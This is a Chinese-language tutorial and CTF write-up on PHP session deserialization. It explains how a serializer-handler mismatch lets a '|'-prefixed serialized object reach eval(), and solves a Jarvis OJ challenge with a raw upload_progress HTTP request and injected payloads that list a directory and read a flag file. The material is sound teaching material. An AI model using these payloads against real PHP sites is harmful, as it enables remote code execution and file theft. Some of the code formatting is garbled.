session反序列化漏洞

session反序列化漏洞

session的定义

session对象在网络应用中叫做会话控制,它会存储特定用户会话所需的属性以及配置信息,而当用户在应用程序的web页面跳转时,session对象中的变量会在整个用户会话中一直存在下去,如果此时该用户没有会话的话,服务器就会自动创建一个session对象,当会话过期或被放弃时,服务器将会终止该会话

session作用原理

当第一次访问网站的时候,Session_start()函数会创建一个唯一的Session ID,并会通过http响应头,将这个Session ID保存在客户端Cookie中,同时也会在服务器端创建一个以Session ID命名的文件,保存这个用户对话信息,当用户再次访问这个网站时,也会自动通过http请求头将cookie中保存的Session ID携带过来,此时Session_start()函数不会再分配新的Session ID,而是会在服务器的硬盘中寻找和Session ID同名的Session文件,将之前为这个用户保存的会话信息读出,在当前脚本中应用,达到跟踪用户的目的

session_start()

当会话自动开始或者通过session_start()手动开始时,PHPSESSID会获取现有的对应的会话数据(即session文件),PHP会自动反序列化session文件的内容,并将其填充在$_SESSION超级全局变量中,如果不存在对应的会话数据,则会创建名为sess_PHPSESSID(客户端传来的)的文件,如果客户端未发送PHPSESSID,则会创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

因此,上面有一个漏洞,就是可以利用上传一个PHPSESSID,但是在服务器端不存在对应的会话数据,所以会在特定的路径生成sess_PHPSESSID文件,然后我们可以加入恶意代码,然后包含这个服务端的文件,即可达到执行恶意代码的目的,而由于它会判断文件是否为恶意文件,是则删除,所以我们要在判断的间隙进行包含,这就叫做session条件竞争

在Linux系统中php-session存放的位置

1
2
3
4
5
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

在php.ini中的一些Session配置

1
2
3
4
session.save_path="" --设置session的存储路径
session.save_handler=""--设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen--指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

session机制对序列化的处理方式

不同处理器对应的存储格式

1
2
3
4
5
php对应的存储格式:键名+竖线+经过serialize()函数反序列化处理的值

php_binary对应的存储格式:键名的长度对应的ascii字符+键名+经过serialize()函数反序列化处理的值

php_serialize对应的存储格式:经过serialize()函数反序列化处理的数组

实例

1
2
3
4
5
php : lemon|s:3:"shy";

php_serialize : a:1:{s:5:"lemon";s:3:"shy";}

php_binary : lemons:3:"shy";

session反序列化漏洞的原理

当使用两个引擎来分别处理序列化和反序列化时,由于php引擎的存储格式为:键名 | serialized_string,而php_serialize引擎的存储格式为:serialized_string,此时就会出问题

php_serialize的格式存储的文件(序列化)
1.php

1
2
3
4
5
6
7
8
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['lemon']=$_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";
?>

php引擎读取session文件(反序列化)
2.php

1
2
3
4
5
6
7
8
9
10
11
<?php
ini_set("sesssion.serialize_handler","php");
session_start();
class student{
var $name;
var $age;
function __wakeup(){
echo "hello".$this->name."!";
}
}
?>

首先访问1.php,在传入的参数最开始加一个’|‘,由于1.php使用的是php_serialize引擎处理,所以只会将’|‘当作是一个正常的字符,然后访问2.php时,用的是php引擎,因此遇到’|‘时会将它看作是键名与值得分割符,从而造成漏洞,因为在解析session时会直接对’|‘后得值进行反序列化处理

在解析session时会直接对’|‘后得值进行反序列化处理的原因是

1
2
3
session_start()会通过read回调函数返回的现有会话数据(使用特殊的序列化格式存储),php会自动反序列化数据并且填充$_SESSION超级全局变量,而如果没有$_SESSION超级全局变量时,我们可以利用php中存在的upload_progress机制,即自动在$_SESSION中创建一个键值对,值中存在用户可控的部分

步骤就是

上传文件,同时post一个与session.upload.name的同名变量,后端就会自动将POST的这个同名变量作为键进行序列化然后存储在session文件中,下次请求就会反序列化session文件,从而取出这个键

1
2
3
4
5
## 题目实例

题目地址:http://web.jarvisoj.com:32784/index.php

打开页面,我们可以看见代码
mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
1
2

看见这串代码

ini_set(‘session.serialize_handler’, ‘php’);

1
我们可以猜测是session反序列化漏洞,我们可以构造

?phpinfo=sd

1
2
可以看见php版本信息,发现session.serialize_handler默认是php_serialize,但是题目使用的是php,所以我们更加确信可以使用session反序列化漏洞,但是在php版本中发现没有$_SESSION超级全局变量,所以我们利用php中的upload_progress机制,随便上传一个文件上去
shell.html
Title
1
然后我们用exp
1
2
3
4
来读取列目录
由于disable_function限制了许多的系统函数,所以可以使用print_r(scandir(dirname(__FILE__)));

然后对生成的序列化的数据中的双引号加上反斜杠\,来防止被转义,然后按照php引擎存储的格式加上|

|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}

1
2

然后将序列化数据放进filename变量中

POST /index.php HTTP/1.1
Host: web.jarvisoj.com:32784
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=—————————141584464441786179722796804373
Content-Length: 492
Connection: close
Cookie: PHPSESSID=muj965sc623533fu7g566as841
Upgrade-Insecure-Requests: 1

—————————–141584464441786179722796804373
Content-Disposition: form-data; name=”PHP_SESSION_UPLOAD_PROGRESS”

2333
—————————–141584464441786179722796804373
Content-Disposition: form-data; name=”file”; filename=”|O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(FILE)));";}

Content-Type: text/plain

You Find it in GET fileName=xk0SzyKwfzw.php and param=Efa5BVG

—————————–141584464441786179722796804373–

1
即可看见列目录文件

Array
(
[0] => .
[1] => ..
[2] => Here_1s_7he_fl4g_buT_You_Cannot_see.php
[3] => index.php
[4] => phpinfo.php
)

1
然后我们可以使用file_get_contents()函数来读取我们想读的文件

|O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}

可以得到flag

参考文章:[https://blog.csdn.net/qq_43431158/article/details/99544797]

    [https://mp.weixin.qq.com/s?__biz=MzAxNzkyOTgxMw==&mid=2247487259&idx=1&sn=e70d97877c0f1a282cf56c6ad4e34d26&chksm=9bdf4c21aca8c5372350a6fa309720a07542d74f61f537229f93927eec6ff5828d9794408571&exptype=unsubscribed_card_3_article_onlinev2_1000w_promotion_level2&expsessionid=2055871802941276160&scene=169&subscene=10000&sessionid=1632156171&clicktime=1632156172&enterid=1632156172&ascene=56&devicetype=android-30&version=28000b59&nettype=cmnet&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&exportkey=A8U60hrCswzBIw4qx3LcHl4%3D&pass_ticket=wgImpgfwefCQmznd1rg85X51CdNokjWKgG%2B1%2FN7vSYdFBa8eTAvqvC25RW7jJ3SP&wx_header=1]